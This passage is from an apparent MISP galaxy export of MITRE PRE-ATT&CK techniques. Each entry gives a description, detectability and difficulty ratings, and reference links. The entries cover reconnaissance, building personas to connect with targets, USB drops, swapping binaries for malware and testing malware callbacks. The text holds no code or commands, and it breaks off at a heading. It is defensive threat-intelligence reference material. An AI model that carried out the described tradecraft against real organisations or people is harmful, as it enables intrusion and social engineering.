Callbacks are malware communications seeking instructions. An adversary will test their malware to ensure the appropriate instructions are conveyed and the callback software can be reached. (Citation: LeeBeaconing)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Adversary controls the test and defender likely has no visibility.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Adversary controls or acquires all pieces of infrastructure and can test outside of defender’s visibility.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Test callback functionality - PRE-T1133"*

Table 2773. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1133

Mine technical blogs/forums - PRE-T1034

Technical blogs and forums provide a way for technical staff to ask for assistance or troubleshoot problems. In doing so they may reveal information such as operating system (OS), network devices, or applications in use. (Citation: FunAndSun2012)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Cannot detect access to public sites.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Success is dependent upon the existence of detailed technical specifications for target network posted in blogs/forums. Poor OPSEC practices result in an adversary gleaning a lot of sensitive information about configurations and/or issues encountered.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Mine technical blogs/forums - PRE-T1034"*

Table 2774. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1034

Automated system performs requested action - PRE-T1161

This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.

Users may be performing legitimate activity but using media that is compromised (e.g., using a USB drive that comes with malware installed during manufacture or supply). Upon insertion in the system the media auto-runs and the malware executes without further action by the user. (Citation: WSUSpect2015)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Environments without extensive endpoint sensing capabilities do not typically collect this level of detailed information.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Autoruns with USB keys and CDs traditionally were always on (e.g., [http://windows.microsoft.com Windows] 7 is now an exception with a new policy of limiting the always on nature of Autoruns), ensuring and automated system completes a requested action. Specialized use cases exist where automated systems are specifically designed against automatically performing certain actions (e.g., USB/CD insertion and automatically running is disabled in certain environments).

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Automated system performs requested action - PRE-T1161"*

Table 2775. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1161

Obtain/re-use payloads - PRE-T1123

A payload is the part of the malware which performs a malicious action. The adversary may re-use payloads when the needed capability is already available. (Citation: SonyDestover)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Adversary will likely use code repositories, but detecting an adversary acquiring a payload would require the defender to be monitoring the code repository where the payload is stored. If the adversary re-uses payloads, this allows the defender to create signatures to detect using these known indicators of compromise (e.g., hashes).

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Several exploit repositories and tool suites exist for re-use and tailoring.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Obtain/re-use payloads - PRE-T1123"*

Table 2776. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1123

Conduct passive scanning - PRE-T1030

Passive scanning is the act of looking at existing network traffic in order to identify information about the communications system. (Citation: SurveyDetectionStrategies) (Citation: CyberReconPaper)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Generates no network traffic that would enable detection.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Easy to do but it requires a vantage point conducive to accessing this data.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Conduct passive scanning - PRE-T1030"*

Table 2777. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1030

Analyze social and business relationships, interests, and affiliations - PRE-T1072

Social media provides insight into the target’s affiliations with groups and organizations. Certification information can explain their technical associations and professional associations. Personal information can provide data for exploitation or even blackmail. (Citation: Scasny2015)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Public sources are external to the defender's organization. Some social media sites have an option to show you when users are looking at your profile, but an adversary can evade this tracking depending on how they conduct the searches.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Social and business relationship information for an individual can be found by examining their social media contacts (e.g., [https://www.facebook.com Facebook] and [https://www.linkedin.com LinkedIn]). Social media also provides insight into the target's affiliations with groups and organizations. Finally, certification information can explain their technical associations and professional associations.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Analyze social and business relationships, interests, and affiliations - PRE-T1072"*

Table 2778. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1072

Network-based hiding techniques - PRE-T1092

Technical network hiding techniques are methods of modifying traffic to evade network signature detection or to utilize misattribution techniques. Examples include channel/IP/VLAN hopping, mimicking legitimate operations, or seeding with misinformation. (Citation: HAMMERTOSS2015)

Detectable by Common Defenses: Yes

Detectable by Common Defenses explanation: Unless defender is dissecting protocols or performing network signature analysis on any protocol deviations/patterns, this technique is largely undetected.

Difficulty for the Adversary: No

Difficulty for the Adversary explanation: Some of the hiding techniques require special accesses (network, proximity, physical, etc.) and/or may rely on knowledge of how the defender operates and/or awareness on what visibility the defender has and how it is obtained

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Network-based hiding techniques - PRE-T1092"*

Table 2779. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1092

Friend/Follow/Connect to targets of interest - PRE-T1121

Once a persona has been developed an adversary will use it to create connections to targets of interest. These connections may be direct or may include trying to connect through others. (Citation: NEWSCASTER2014) (Citation: BlackHatRobinSage)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Unless there is some threat intelligence reporting, these users are hard to differentiate.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: The nature of social media is such that the adversary naturally connects to a target of interest without suspicion, given the purpose of the platform is to promote connections between individuals. Performing activities like typical users, but with specific intent in mind.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Friend/Follow/Connect to targets of interest - PRE-T1121"*

Friend/Follow/Connect to targets of interest - PRE-T1121 has relationships with:

- related-to: misp-galaxy:mitre-pre-attack-attack-pattern="Friend/Follow/Connect to targets of interest - PRE-T1141" with estimative-language:likelihood-probability="almost-certain"

Table 2780. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1121

Disseminate removable media - PRE-T1156

This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.

Removable media containing malware can be injected in to a supply chain at large or small scale. It can also be physically placed for someone to find or can be sent to someone in a more targeted manner. The intent is to have the user utilize the removable media on a system where the adversary is trying to gain access. (Citation: USBMalwareAttacks) (Citation: FPDefendNewDomain) (Citation: ParkingLotUSB)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: From a technical perspective, detection of an adversary disseminating removable media is not possible as there is no technical element involved until the compromise phase. Most facilities generally do not perform extensive physical security patrols, which would be necessary in order to promptly identify an adversary deploying removable media to be used in an attack.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Commonly executed technique by penetration testers to gain access to networks via end users who are innately trusting of newly found or available technology.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Disseminate removable media - PRE-T1156"*

Table 2781. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1156

Replace legitimate binary with malware - PRE-T1155

This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.

Replacing a legitimate binary with malware can be accomplished either by replacing a binary on a legitimate download site or standing up a fake or alternative site with the malicious binary. The intent is to have a user download and run the malicious binary thereby executing malware. (Citation: FSecureICS)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: On the host end user system, integrity checking (e.g., hash verification, code signing enforcement), application whitelisting, sandboxing, or behavioral-based/heuristic-based systems are most likely to be successful in detecting this technique. On the source webserver, detecting binary changes is easy to detect if performed.

Difficulty for the Adversary: No

Difficulty for the Adversary explanation: Requires the adversary to replace a binary on a website where users will download the binary (e.g., patch, firmware update, software application) as innately trusted. The additional challenge is the reduced set of vendor-trusted websites that are vulnerable.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Replace legitimate binary with malware - PRE-T1155"*

Table 2782. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1155

Acquire OSINT data sets and information - PRE-T1054

Data sets can be anything from Security Exchange Commission (SEC) filings to public phone numbers. Many datasets are now either publicly available for free or can be purchased from a variety of data vendors. Open source intelligence (OSINT) is intelligence gathered from publicly available sources. This can include both information gathered on-line as well as in the physical world. (Citation: SANSThreatProfile) (Citation: Infosec-osint) (Citation: isight-osint)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: This activity is indistinguishable from legitimate business uses and easy to obtain.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Large quantities of data exists on people, organizations and technologies whether divulged wittingly or collected as part of doing business on the Internet (unbeknownst to the user/company). Search engine and database indexing companies continuously mine this information and make it available to anyone who queries for it.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Acquire OSINT data sets and information - PRE-T1054"*

Acquire OSINT data sets and information - PRE-T1054 has relationships with:

- related-to: misp-galaxy:mitre-pre-attack-attack-pattern="Acquire OSINT data sets and information - PRE-T1043" with estimative-language:likelihood-probability="almost-certain"

Table 2783. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1054

Secure and protect infrastructure - PRE-T1094

An adversary may secure and protect their infrastructure just as defenders do. This could include the use of VPNs, security software, logging and monitoring, passwords, or other defensive measures. (Citation: KrebsTerracottaVPN)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Indistinguishable from standard security practices employed by legitimate operators.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Adversary benefits from our own advances, techniques, and software when securing and protecting their own development infrastructure.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Secure and protect infrastructure - PRE-T1094"*

Table 2784. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1094

Determine firmware version - PRE-T1035

Firmware is permanent software programmed into the read-only memory of a device. As with other types of software, firmware may be updated over time and have multiple versions. (Citation: Abdelnur Advanced Fingerprinting)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: No easy way for defenders to detect when an adversary collects this information.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Depending upon the target device, there are variable ways for an adversary to determine the firmware version. In some cases, this information can be derived from easily obtained information. For example, in [http://www.cisco.com Cisco] devices, the firmware version is easily determined once the device model and OS version is known since it is included in the release notes.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Determine firmware version - PRE-T1035"*

Table 2785. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1035

Develop KITs/KIQs - PRE-T1004

Leadership derives Key Intelligence Topics (KITs) and Key Intelligence Questions (KIQs) from the areas of most interest to them. KITs are an expression of management's intelligence needs with respect to early warning, strategic and operational decisions, knowing the competition, and understanding the competitive situation. KIQs are the critical questions aligned by KIT which provide the basis for collection plans, create a context for analytic work, and/or identify necessary external operations. (Citation: Herring1999)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Normal aspect of adversary planning lifecycle. May not be done by all adversaries.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Develop KITs/KIQs - PRE-T1004"*

Table 2786. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1004

Research relevant vulnerabilities/CVEs - PRE-T1068

Common Vulnerability Enumeration (CVE) is a dictionary of publicly known information about security vulnerabilities and exposures. An adversary can use this information to target specific software that may be vulnerable. (Citation: WeaponsVulnerable) (Citation: KasperskyCarbanak)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Public source external to the defender’s organization.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Using standard headers/fingerprints from normal traffic, it is often trivial to identify the SW or HW the target is running, which can be correlated against known CVEs and exploit packages.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Research relevant vulnerabilities/CVEs - PRE-T1068"*

Table 2787. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1068

Determine 3rd party infrastructure services - PRE-T1061

A wide variety of cloud, virtual private services, hosting, compute, and storage solutions are available as 3rd party infrastructure services. These services could provide an adversary with another avenue of approach or compromise. (Citation: LUCKYCAT2012) (Citation: Schneier-cloud) (Citation: Computerworld-suppliers)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Adversary searches publicly available sources and may find this information on the 3rd party web site listing new customers/clients.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Press releases may reveal this information particularly when it is an expected cost savings or improvement for scalability/reliability.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Determine 3rd party infrastructure services - PRE-T1061"*

Determine 3rd party infrastructure services - PRE-T1061 has relationships with:

- related-to: misp-galaxy:mitre-pre-attack-attack-pattern="Determine 3rd party infrastructure services - PRE-T1037" with estimative-language:likelihood-probability="almost-certain"

Table 2788. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1061

Untargeted client-side exploitation - PRE-T1147

This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.

A technique that takes advantage of flaws in client-side applications without targeting specific users. For example, an exploit placed on an often widely used public web site intended for drive-by delivery to whomever visits the site. (Citation: CitizenLabGreatCannon)

Detectable by Common Defenses: Yes

Detectable by Common Defenses explanation: Defensive technologies exist to scan web content before delivery to the requested end user. However, this is not fool proof as some sites encrypt web communications and the adversary constantly moves to sites not previously flagged as malicious thus defeating this defense. Host-based defenses can also aid in detection/mitigation as well as detection by the web site that got compromised.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Commonly executed technique to place an exploit on an often widely used public web site intended for driveby delivery.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Untargeted client-side exploitation - PRE-T1147"*

Table 2789. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1147

Compromise 3rd party infrastructure to support delivery - PRE-T1089

Instead of buying, leasing, or renting infrastructure an adversary may compromise infrastructure and use it for some or all of the attack cycle. (Citation: WateringHole2014) (Citation: FireEye Operation SnowMan)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Defender will not have visibility on 3rd party sites unless target is successfully enticed to visit one.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Commonly used technique currently (e.g., [https://www.wordpress.com WordPress] sites) as precursor activity to launching attack against intended target (e.g., acquiring botnet or layers of proxies for reducing attribution possibilities).

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Compromise 3rd party infrastructure to support delivery - PRE-T1089"*

Compromise 3rd party infrastructure to support delivery - PRE-T1089 has relationships with:

- related-to: misp-galaxy:mitre-pre-attack-attack-pattern="Compromise 3rd party infrastructure to support delivery - PRE-T1111" with estimative-language:likelihood-probability="almost-certain"

Table 2790. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1089

Discover target logon/email address format - PRE-T1032

Email addresses, logon credentials, and other forms of online identification typically share a common format. This makes guessing other credentials within the same domain easier. For example if a known email address is first.last@company.com it is likely that others in the company will have an email in the same format. (Citation: RSA-APTRecon)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Easily determined and not intended to be protected information. Publicly collected and shared repositories of email addresses exist.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Scraping of known email addresses from the target will likely reveal the target standard for address/username format. This information is easily discoverable.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Discover target logon/email address format - PRE-T1032"*

Table 2791. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1032

Exploit public-facing application - PRE-T1154

This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.

The use of software, data, or commands to take advantage of a weakness in a computer system or program in order to cause unintended or unanticipated behavior. The weakness in the system can be a bug, a glitch, or a design vulnerability. (Citation: GoogleCrawlerSQLInj)

Detectable by Common Defenses: Yes

Detectable by Common Defenses explanation: If the application and network are designed well, the defender should be able to utilize logging and application logic to catch and deflect SQL injection attacks.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Launching a SQL injection attack is not overly complex and a commonly used technique. This technique, however, requires finding a vulnerable application.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Exploit public-facing application - PRE-T1154"*

Table 2792. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1154

Assess KITs/KIQs benefits - PRE-T1006

Key Intelligence Topics (KITs) and Key Intelligence Questions (KIQs) may be further subdivided to focus on political, economic, diplomatic, military, financial, or intellectual property categories. An adversary may specify KITs or KIQs in this manner in order to understand how the information they are pursuing can have multiple uses and to consider all aspects of the types of information they need to target for a particular purpose. (Citation: CompetitiveIntelligence) (Citation: CompetitiveIntelligence)KIT.

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Normal aspect of adversary planning lifecycle. May not be done by all adversaries.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Assess KITs/KIQs benefits - PRE-T1006"*

Table 2793. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1006

Obfuscate operational infrastructure - PRE-T1095

Obfuscation is hiding the day-to-day building and testing of new tools, chat servers, etc. (Citation: DellComfooMasters)

Detectable by Common Defenses: Yes

Detectable by Common Defenses explanation: While possible to detect given a significant sample size, depending on how the unique identifier is used detection may be difficult as similar patterns may be employed elsewhere (e.g., content hosting providers, account reset URLs).

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: An adversary can easily generate pseudo-random identifiers to associate with a specific target, include the indicator as part of a URL and then identify which target was successful.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Obfuscate operational infrastructure - PRE-T1095"*

Table 2794. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1095

Test malware in various execution environments - PRE-T1134

Malware may perform differently on different platforms (computer vs handheld) and different operating systems ([http://www.ubuntu.com Ubuntu] vs [http://www.apple.com/osx/ OS X]), and versions ([http://windows.microsoft.com Windows] 7 vs 10) so malicious actors will test their malware in the environment(s) where they most expect it to be executed. (Citation: BypassMalwareDefense)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Adversary controls the test and defender likely has no visibility.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Adversary can simulate most environments (e.g., variable operating systems, patch levels, application versions) with details available from other techniques.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Test malware in various execution* *environments - PRE-T1134"*

Table 2795. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1134

Determine centralization of IT management - PRE-T1062

Determining if a "corporate" help desk exists, the degree of access and control it has, and whether there are "edge" units that may have different support processes and standards. (Citation: SANSCentratlizeManagement)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: No technical means to detect an adversary collecting information about a target. Any detection would be based upon strong OPSEC policy implementation.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Requires an adversary to undergo a research process to learn the internal workings of an organization. An adversary can do this by social engineering individuals in the company by claiming to need to find information for the help desk, or through social engineering of former employees or business partners.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Determine centralization of IT management - PRE-T1062"*

Table 2796. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1062

Test physical access - PRE-T1137

An adversary can test physical access options in preparation for the actual attack. This could range from observing behaviors and noting security precautions to actually attempting access. (Citation: OCIAC Pre Incident Indicators) (Citation: NewsAgencySpy)

Detectable by Common Defenses: Yes

Detectable by Common Defenses explanation: Defender often install badging, cameras, security guards or other detection techniques for physical security and monitoring.

Difficulty for the Adversary: No

Difficulty for the Adversary explanation: Requires a physical presence in the space being entered and increased risk of being detected/detained (e.g., recorded on video camera)

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Test physical access - PRE-T1137"*

Table 2797. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1137

Acquire or compromise 3rd party signing certificates - PRE-T1087

Code signing is the process of digitally signing executables or scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Users may trust a signed piece of code more than an signed piece of code even if they don't know who issued the certificate or who the author is. (Citation: Adobe Code Signing Cert)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Defender will not know what certificates an adversary acquires from a 3rd party. Defender will not know prior to public disclosure if a 3rd party has had their certificate compromised.

Difficulty for the Adversary: No

Difficulty for the Adversary explanation: It is trivial to purchase code signing certificates within an organization; many exist and are available at reasonable cost. It is complex to factor or steal 3rd party code signing certificates for use in malicious mechanisms

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Acquire or compromise 3rd party signing certificates - PRE-T1087"*

Acquire or compromise 3rd party signing certificates - PRE-T1087 has relationships with:

- related-to: misp-galaxy:mitre-pre-attack-attack-pattern="Acquire or compromise 3rd party signing certificates - PRE-T1109" with estimative-language:likelihood-probability="almost-certain"

Table 2798. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1087

Assess leadership areas of interest - PRE-T1001

Leadership assesses the areas of most interest to them and generates Key Intelligence Topics (KIT) or Key Intelligence Questions (KIQ). For example, an adversary knows from open and closed source reporting that cyber is of interest, resulting in it being a KIT. (Citation: ODNIIntegration)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Normal aspect of adversary planning lifecycle. May not be done by all adversaries.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Assess leadership areas of interest - PRE-T1001"*

Table 2799. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1001

Enumerate client configurations - PRE-T1039

Client configurations information such as the operating system and web browser, along with additional information such as version or language, are often transmitted as part of web browsing communications. This can be accomplished in several ways including use of a compromised web site to collect details on visiting computers. (Citation: UnseenWorldOfCookies) (Citation: Panopticlick)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Typical information collected as part of accessing web sites (e.g., operating system, browser version, basic configurations).

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Basic web scripting capability to collect information of interest on users of interest. Requires a compromised web site and the users of interest to navigate there.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Enumerate client configurations - PRE-T1039"*

Table 2800. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1039

Private whois services - PRE-T1082

Every domain registrar maintains a publicly viewable database that displays contact information for every registered domain. Private 'whois' services display alternative information, such as their own company data, rather than the owner of the domain. (Citation: APT1)

Detectable by Common Defenses: Yes

Detectable by Common Defenses explanation: Algorithmically possible to detect COTS service usage or use of non-specific mailing addresses (PO Boxes, drop sites, etc.)

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Commercially available or easy to set up and/or register using a disposable email account.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Private whois services - PRE-T1082"*

Table 2801. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1082

Assign KITs, KIQs, and/or intelligence requirements - PRE-T1015

Once generated, Key Intelligence Topics (KITs), Key Intelligence Questions (KIQs), and/or intelligence requirements are assigned to applicable agencies and/or personnel. For example, an adversary may decide nuclear energy requirements should be assigned to a specific organization based on their mission. (Citation: AnalystsAndPolicymaking) (Citation: JP2-01)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Normal aspect of adversary planning lifecycle. May not be done by all adversaries.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Assign KITs, KIQs, and/or intelligence requirements - PRE-T1015"*

Table 2802. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1015

Identify groups/roles - PRE-T1047

Personnel internally to a company may belong to a group or maintain a role with electronic specialized access, authorities, or privilege that make them an attractive target for an adversary. One example of this is a system administrator. (Citation: RSA-APTRecon)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Searching publicly available sources that cannot be monitored by a defender.

Difficulty for the Adversary: No

Difficulty for the Adversary explanation: Requires an adversary to undergo an intensive research process. It is resource intensive or requires special data access. May be easier for certain specialty use cases.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Identify groups/roles - PRE-T1047"*

Table 2803. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1047

Post compromise tool development - PRE-T1130

After compromise, an adversary may utilize additional tools to facilitate their end goals. This may include tools to further explore the system, move laterally within a network, exfiltrate data, or destroy data. (Citation: SofacyHits)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Adversary will likely use code repositories, but development will be performed on their local systems.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Post compromise tool development is a standard part of the adversary's protocol in developing the necessary tools required to completely conduct an attack.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Post compromise tool development - PRE-T1130"*

Table 2804. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1130

Compromise 3rd party or closed-source vulnerability/exploit information - PRE-T1131

There is usually a delay between when a vulnerability or exploit is discovered and when it is made public. An adversary may target the systems of those known to research vulnerabilities in order to gain that knowledge for use during a different attack. (Citation: TempertonDarkHotel)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: The compromise of unknown vulnerabilities would provide little attack and warning against a defender, rendering it highly challenging to detect.

Difficulty for the Adversary: No

Difficulty for the Adversary explanation: Finding, attacking, and compromising a 3rd party or closed vulnerability entity is challenging, because those containing the vulnerabilities should be very aware of attacks on their environments have a heightened awareness.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Compromise 3rd party or closed-source vulnerability/exploit information - PRE-T1131"*

Table 2805. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1131

Acquire OSINT data sets and information - PRE-T1024

Open source intelligence (OSINT) is intelligence gathered from publicly available sources. This can include both information gathered on-line, such as from search engines, as well as in the physical world. (Citation: RSA-APTRecon)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: This activity is indistinguishable from legitimate business uses and easy to obtain. Direct access to the selected target is not required for the adversary to conduct this technique. There is a limited ability to detect this by looking at referrer fields on local web site accesses (e.g., a person who has accessed your web servers from [https://www.shodan.io Shodan]).

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Possible to gather technical intelligence about Internet accessible systems/devices by obtaining various commercial data sets and supporting business intelligence tools for ease of analysis. Commercial data set examples include advertising content delivery networks, Internet mapping/traffic collections, system fingerprinting data sets, device fingerprinting data sets, etc.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Acquire OSINT data sets and information - PRE-T1024"*

Acquire OSINT data sets and information - PRE-T1024 has relationships with:

- related-to: misp-galaxy:mitre-pre-attack-attack-pattern="Acquire OSINT data sets and information - PRE-T1043" with estimative-language:likelihood-probability="almost-certain"

Table 2806. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1024

Acquire and/or use 3rd party software services - PRE-T1085

A wide variety of 3rd party software services are available (e.g., [https://twitter.com Twitter], [https://www.dropbox.com Dropbox], [https://www.google.com/docs/about/ GoogleDocs]). Use of these solutions allow an adversary to stage, launch, and execute an attack from infrastructure that does not physically tie back to them and can be rapidly provisioned, modified, and shut down. (Citation: LUCKYCAT2012) (Citation: Nemucod Facebook)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Defender will not have visibility over account creation for 3rd party software services.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: 3rd party services like these listed are freely available.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Acquire and/or use 3rd party software services - PRE-T1085"*

Acquire and/or use 3rd party software services - PRE-T1085 has relationships with:

- related-to: misp-galaxy:mitre-pre-attack-attack-pattern="Acquire and/or use 3rd party software services - PRE-T1107" with estimative-language:likelihood-probability="almost-certain"

Table 2807. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1085

Confirmation of launched compromise achieved - PRE-T1160

This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.

Upon successful compromise the adversary may implement methods for confirming success including communication to a command and control server, exfiltration of data, or a verifiable intended effect such as a publicly accessible resource being inaccessible or a web page being defaced. (Citation: FireEye Malware Stages) (Citation: APTNetworkTrafficAnalysis)

Detectable by Common Defenses: Yes

Detectable by Common Defenses explanation: Current commercial tools and sensitive analytics can be used to detect communications to command and control servers or data exfiltration.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Certainty of the confirmation of compromise is not guaranteed unless the adversary sees communication to a command and control server, exfiltration of data, or an intended effect occur.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Confirmation of launched compromise achieved - PRE-T1160"*

Table 2808. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1160

Identify job postings and needs/gaps - PRE-T1044

Job postings, on either company sites, or in other forums, provide information on organizational structure and often provide contact information for someone within the organization. This may give an adversary information on people within the organization which could be valuable in social engineering attempts. (Citation: JobPostingThreat)

Detectable by Common Defenses: No

Detectable by Common Defenses explanation: Public source external to the defender's organization.

Difficulty for the Adversary: Yes

Difficulty for the Adversary explanation: Very public by design.

The tag is: *misp-galaxy:mitre-pre-attack-attack-pattern="Identify job postings and needs/gaps - PRE-T1044"*

Identify job postings and needs/gaps - PRE-T1044 has relationships with:

- related-to: misp-galaxy:mitre-pre-attack-attack-pattern="Identify job postings and needs/gaps - PRE-T1055" with estimative-language:likelihood-probability="almost-certain"

Table 2809. Table References

Links
https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1044

Conduct social engineering or HUMINT operation - PRE-T1153

